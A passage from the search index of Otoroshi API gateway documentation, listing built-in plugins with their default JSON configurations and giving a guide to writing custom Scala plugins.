\"roles\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ReadOnlyCalls }\n\n## Read only requests\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ReadOnlyCalls`\n\n### Description\n\nThis plugin verifies the current request only reads data\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.Redirection }\n\n## Redirection\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.Redirection`\n\n### Description\n\nThis plugin redirects the current request elsewhere\n\n\n\n### Default configuration\n\n```json\n{\n \"code\" : 303,\n \"to\" : \"https://www.otoroshi.io\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.RemoveHeadersIn }\n\n## Remove headers in\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.RemoveHeadersIn`\n\n### Description\n\nThis plugin removes headers in the incoming otoroshi request\n\n\n\n### Default configuration\n\n```json\n{\n \"header_names\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.RemoveHeadersOut }\n\n## Remove headers out\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.RemoveHeadersOut`\n\n### Description\n\nThis plugin removes headers in the otoroshi response\n\n\n\n### Default configuration\n\n```json\n{\n \"header_names\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.Robots }\n\n## Robots\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.Robots`\n\n### Description\n\nThis plugin provides all the necessary tool to handle search engine robots\n\n\n\n### Default configuration\n\n```json\n{\n \"robot_txt_enabled\" : true,\n \"robot_txt_content\" : \"User-agent: *\\nDisallow: /\\n\",\n \"meta_enabled\" : true,\n \"meta_content\" : \"noindex,nofollow,noarchive\",\n \"header_enabled\" : true,\n \"header_content\" : \"noindex, nofollow, noarchive\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.RoutingRestrictions }\n\n## Routing Restrictions\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.RoutingRestrictions`\n\n### Description\n\nThis plugin apply routing restriction `method domain/path` on the current request/route\n\n\n\n### Default configuration\n\n```json\n{\n \"allow_last\" : true,\n \"allowed\" : [ ],\n \"forbidden\" : [ ],\n \"not_found\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.S3Backend }\n\n## S3 Static backend\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.S3Backend`\n\n### Description\n\nThis plugin is able to S3 bucket with file content\n\n\n\n### Default configuration\n\n```json\n{\n \"bucket\" : \"\",\n \"endpoint\" : \"\",\n \"region\" : \"eu-west-1\",\n \"access\" : \"client\",\n \"secret\" : \"secret\",\n \"key\" : \"\",\n \"chunkSize\" : 8388608,\n \"v4auth\" : true,\n \"writeEvery\" : 60000,\n \"acl\" : \"private\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.SOAPAction }\n\n## SOAP action\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.SOAPAction`\n\n### Description\n\nThis plugin is able to call SOAP actions and expose it as a rest endpoint\n\n\n\n### Default configuration\n\n```json\n{\n \"url\" : null,\n \"envelope\" : \"\",\n \"action\" : null,\n \"preserve_query\" : true,\n \"charset\" : null,\n \"jq_request_filter\" : null,\n \"jq_response_filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.SendOtoroshiHeadersBack }\n\n## Send otoroshi headers back\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.SendOtoroshiHeadersBack`\n\n### Description\n\nThis plugin adds response header containing useful informations about the current call\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.SnowMonkeyChaos }\n\n## Snow Monkey Chaos\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.SnowMonkeyChaos`\n\n### Description\n\nThis plugin introduce some chaos into you life\n\n\n\n### Default configuration\n\n```json\n{\n \"large_request_fault\" : null,\n \"large_response_fault\" : null,\n \"latency_injection_fault\" : null,\n \"bad_responses_fault\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.StaticBackend }\n\n## Static backend\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.StaticBackend`\n\n### Description\n\nThis plugin is able to serve a static folder with file content\n\n\n\n### Default configuration\n\n```json\n{\n \"root_path\" : \"/tmp\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.StaticResponse }\n\n## Static Response\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.StaticResponse`\n\n### Description\n\nThis plugin returns static responses\n\n\n\n### Default configuration\n\n```json\n{\n \"status\" : 200,\n \"headers\" : { },\n \"body\" : \"\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.TailscaleSelectTargetByName }\n\n## Tailscale select target by name\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.TailscaleSelectTargetByName`\n\n### Description\n\nThis plugin selects a machine instance on Tailscale network based on its name\n\n\n\n### Default configuration\n\n```json\n{\n \"machine_name\" : \"my-machine\",\n \"use_ip_address\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.TcpTunnel }\n\n## TCP Tunnel\n\n### Defined on steps\n\n - `HandlesTunnel`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.TcpTunnel`\n\n### Description\n\nThis plugin creates TCP tunnels through otoroshi\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.UdpTunnel }\n\n## UDP Tunnel\n\n### Defined on steps\n\n - `HandlesTunnel`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.UdpTunnel`\n\n### Description\n\nThis plugin creates UDP tunnels through otoroshi\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.W3CTracing }\n\n## W3C Trace Context\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.W3CTracing`\n\n### Description\n\nThis plugin propagates W3C Trace Context spans and can export it to Jaeger or Zipkin\n\n\n\n### Default configuration\n\n```json\n{\n \"kind\" : \"noop\",\n \"endpoint\" : \"http://localhost:3333/spans\",\n \"timeout\" : 30000,\n \"baggage\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmAccessValidator }\n\n## Wasm Access control\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmAccessValidator`\n\n### Description\n\nDelegate route access to a wasm plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmBackend }\n\n## Wasm Backend\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmBackend`\n\n### Description\n\nThis plugin can be used to use a wasm plugin as backend\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmOPA }\n\n## Open Policy Agent (OPA)\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmOPA`\n\n### Description\n\nRepo policies as WASM modules\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : true,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmPreRoute }\n\n## Wasm pre-route\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmPreRoute`\n\n### Description\n\nThis plugin can be used to use a wasm plugin as in pre-route phase\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmRequestTransformer }\n\n## Wasm Request Transformer\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmRequestTransformer`\n\n### Description\n\nTransform the content of the request with a wasm plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmResponseTransformer }\n\n## Wasm Response Transformer\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmResponseTransformer`\n\n### Description\n\nTransform the content of a response with a wasm plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmRouteMatcher }\n\n## Wasm Route Matcher\n\n### Defined on steps\n\n - `MatchRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmRouteMatcher`\n\n### Description\n\nThis plugin can be used to use a wasm plugin as route matcher\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmRouter }\n\n## Wasm Router\n\n### Defined on steps\n\n - `Router`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmRouter`\n\n### Description\n\nCan decide for routing with a wasm plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmSink }\n\n## Wasm Sink\n\n### Defined on steps\n\n - `Sink`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmSink`\n\n### Description\n\nHandle unmatched requests with a wasm plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.XForwardedHeaders }\n\n## X-Forwarded-* headers\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.XForwardedHeaders`\n\n### Description\n\nThis plugin adds all the X-Forwarded-* headers to the request for the backend target\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.XmlToJsonRequest }\n\n## request body xml-to-json\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.XmlToJsonRequest`\n\n### Description\n\nThis plugin transform incoming request body from xml to json and may apply a jq transformation\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.XmlToJsonResponse }\n\n## response body xml-to-json\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.XmlToJsonResponse`\n\n### Description\n\nThis plugin transform response body from xml to json and may apply a jq transformation\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ZipFileBackend }\n\n## Zip file backend\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ZipFileBackend`\n\n### Description\n\nServes content from a zip file\n\n\n\n### Default configuration\n\n```json\n{\n \"url\" : \"https://github.com/MAIF/otoroshi/releases/download/16.11.2/otoroshi-manual-16.11.2.zip\",\n \"headers\" : { },\n \"dir\" : \"./zips\",\n \"prefix\" : null,\n \"ttl\" : 3600000\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.tunnel.TunnelPlugin }\n\n## Remote tunnel calls\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.tunnel.TunnelPlugin`\n\n### Description\n\nThis plugin can contact remote service using tunnels\n\n\n\n### Default configuration\n\n```json\n{\n \"tunnel_id\" : \"default\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.wasm.proxywasm.NgCorazaWAF }\n\n## Coraza WAF\n\n### Defined on steps\n\n - `ValidateAccess`\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.wasm.proxywasm.NgCorazaWAF`\n\n### Description\n\nCoraza WAF plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"ref\" : \"none\"\n}\n```\n\n\n\n\n\n@@@\n\n"},{"name":"create-plugins.md","id":"/plugins/create-plugins.md","url":"/plugins/create-plugins.html","title":"Create plugins","content":"# Create plugins\n\n@@@ warning\nThis section is under rewrite. The following content is deprecated\n@@@\n\nWhen everything has failed and you absolutely need a feature in Otoroshi to make your use case work, there is a solution. Plugins is the feature in Otoroshi that allow you to code how Otoroshi should behave when receiving, validating and routing an http request. With request plugin, you can change request / response headers and request / response body the way you want, provide your own apikey, etc.\n\n## Plugin types\n\nthere are many plugin types explained @ref:[here](./plugins.md) \n\n## Code and signatures\n\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/requestsink.scala#L14-L19\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/routing.scala#L75-L78\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/accessvalidator.scala#L65-L85\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/script.scala#269-L540\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/eventlistener.scala#L27-L48\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/job.scala#L69-L164\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/job.scala#L108-L110\n\n\nfor more information about APIs you can use\n\n* https://www.playframework.com/documentation/2.8.x/api/scala/index.html#package\n* https://www.playframework.com/documentation/2.8.x/api/scala/index.html#play.api.mvc.Results\n* https://github.com/MAIF/otoroshi\n* https://doc.akka.io/docs/akka/2.5/stream/index.html\n* https://doc.akka.io/api/akka/current/akka/stream/index.html\n* https://doc.akka.io/api/akka/current/akka/stream/scaladsl/Source.html\n\n## Plugin examples\n\n@ref:[A lot of plugins](./built-in-plugins.md) comes with otoroshi, you can find them on [github](https://github.com/MAIF/otoroshi/tree/master/otoroshi/app/plugins)\n\n## Writing a plugin from Otoroshi UI\n\nLog into Otoroshi and go to `Settings (cog icon) / Plugins`. Here you can create multiple request transformer scripts and associate it with service descriptor later.\n\n@@@ div { .centered-img }\n\n@@@\n\nwhen you write for instance a transformer in the Otoroshi UI, do the following\n\n```scala\nimport akka.stream.Materializer\nimport env.Env\nimport models.{ApiKey, PrivateAppsUser, ServiceDescriptor}\nimport otoroshi.script._\nimport play.api.Logger\nimport play.api.mvc.{Result, Results}\nimport scala.util._\nimport scala.concurrent.{ExecutionContext, Future}\n\nclass MyTransformer extends RequestTransformer {\n\n val logger = Logger(\"my-transformer\")\n\n // implements the methods you want\n}\n\n// WARN: do not forget this line to provide a working instance of your transformer to Otoroshi\nnew MyTransformer()\n```\n\nYou can use the compile button to check if the script compiles, or code the transformer in your IDE (see next point).\n\nThen go to a service descriptor, scroll to the bottom of the page, and select your transformer in the list\n\n@@@ div { .centered-img }\n\n@@@\n\n## Providing a transformer from Java classpath\n\nYou can write your own transformer using your favorite IDE. Just create an SBT project with the following dependencies. It can be quite handy to manage the source code like any other piece of code, and it avoid the compilation time for the script at Otoroshi startup.\n\n```scala\nlazy val root = (project in file(\".\")).\n settings(\n inThisBuild(List(\n organization := \"com.example\",\n scalaVersion := \"2.12.7\",\n version := \"0.1.0-SNAPSHOT\"\n )),\n name := \"request-transformer-example\",\n libraryDependencies += \"fr.maif\" %% \"otoroshi\" % \"1.x.x\"\n )\n```\n\n@@@ warning\nyou MUST provide plugins that lies in the `otoroshi_plugins` package or in a sub-package of `otoroshi_plugins`. If you do not, your plugin will not be found by otoroshi. for example\n\n```scala\npackage otoroshi_plugins.com.my.company.myplugin\n```\n\nalso you don't have to instantiate your plugin at the end of the file like in the Otoroshi UI\n@@@\n\nWhen your code is ready, create a jar file \n\n```\nsbt package\n```\n\nand add the jar file to the Otoroshi classpath\n\n```sh\njava -cp \"/path/to/transformer.jar:$/path/to/otoroshi.jar\" play.core.server.ProdServerStart\n```\n\nthen, in your service descriptor, you can chose your transformer in the list. If you want to do it from the API, you have to defined the transformerRef using `cp:` prefix like \n\n```json\n{\n \"transformerRef\": \"cp:otoroshi_plugins.my.class.package.MyTransformer\"\n}\n```\n\n## Getting custom configuration from the Otoroshi config. file\n\nLet say you need to provide custom configuration values for a script, then you can customize a configuration file of Otoroshi\n\n```hocon\ninclude \"application.conf\"\n\notoroshi {\n scripts {\n enabled = true\n }\n}\n\nmy-transformer {\n env = \"prod\"\n maxRequestBodySize = 2048\n maxResponseBodySize = 2048\n}\n```\n\nthen start Otoroshi like\n\n```sh\njava -Dconfig.file=/path/to/custom.conf -jar otoroshi.jar\n```\n\nthen, in your transformer, you can write something like \n\n```scala\npackage otoroshi_plugins.com.example.otoroshi\n\nimport akka.stream.Materializer\nimport akka.stream.scaladsl._\nimport akka.util.ByteString\nimport env.Env\nimport models.{ApiKey, PrivateAppsUser, ServiceDescriptor}\nimport otoroshi.script._\nimport play.api.Logger\nimport play.api.mvc.{Result, Results}\nimport scala.util._\nimport scala.concurrent.{ExecutionContext, Future}\n\nclass BodyLengthLimiter extends RequestTransformer {\n\n override def def transformResponseWithCtx(ctx: TransformerResponseContext)(implicit env: Env, ec: ExecutionContext, mat: Materializer): Source[ByteString, _] = {\n val max = env.configuration.getOptional[Long](\"my-transformer.maxResponseBodySize\").getOrElse(Long.MaxValue)\n ctx.body.limitWeighted(max)(_.size)\n }\n\n override def transformRequestWithCtx(ctx: TransformerRequestContext)(implicit env: Env, ec: ExecutionContext, mat: Materializer): Source[ByteString, _] = {\n val max = env.configuration.getOptional[Long](\"my-transformer.maxRequestBodySize\").getOrElse(Long.MaxValue)\n ctx.body.limitWeighted(max)(_.size)\n }\n}\n```\n\n## Using a library that is not embedded in Otoroshi\n\nJust use the `classpath` option when running Otoroshi\n\n```sh\njava -cp \"/path/to/library.jar:$/path/to/otoroshi.jar\" play.core.server.ProdServerStart\n```\n\nBe carefull as your library can conflict with other libraries used by Otoroshi and affect its stability\n\n## Enabling plugins\n\nplugins can be enabled per service from the service settings page or globally from the danger zone in the plugins section.\n\n## Full example\n\na full external plugin example can be found @link:[here](https://github.com/mathieuancelin/otoroshi-wasmer-plugin)\n"},{"name":"index.md","id":"/plugins/index.md","url":"/plugins/index.html","title":"Otoroshi plugins","content":"# Otoroshi plugins\n\nIn this sections, you will find informations about Otoroshi plugins system\n\n* @ref:[Plugins system](./plugins.md)\n* @ref:[Create plugins](./create-plugins.md)\n* @ref:[Built in plugins](./built-in-plugins.md)\n* @ref:[Built in legacy plugins](./built-in-legacy-plugins.md)\n\n@@@ index\n\n* [Plugins system](./plugins.md)\n* [Create plugins](./create-plugins.md)\n* [Built in plugins](./built-in-plugins.md)\n* [Built in legacy plugins](./built-in-legacy-plugins.md)\n\n@@@"},{"name":"plugins.md","id":"/plugins/plugins.md","url":"/plugins/plugins.html","title":"Otoroshi plugins system","content":"# Otoroshi plugins system\n\nOtoroshi includes several extension points that allows you to create your own plugins and support stuff not supported by default.\n\n## Kind of available plugins\n\n@@@ div { .plugin-kind 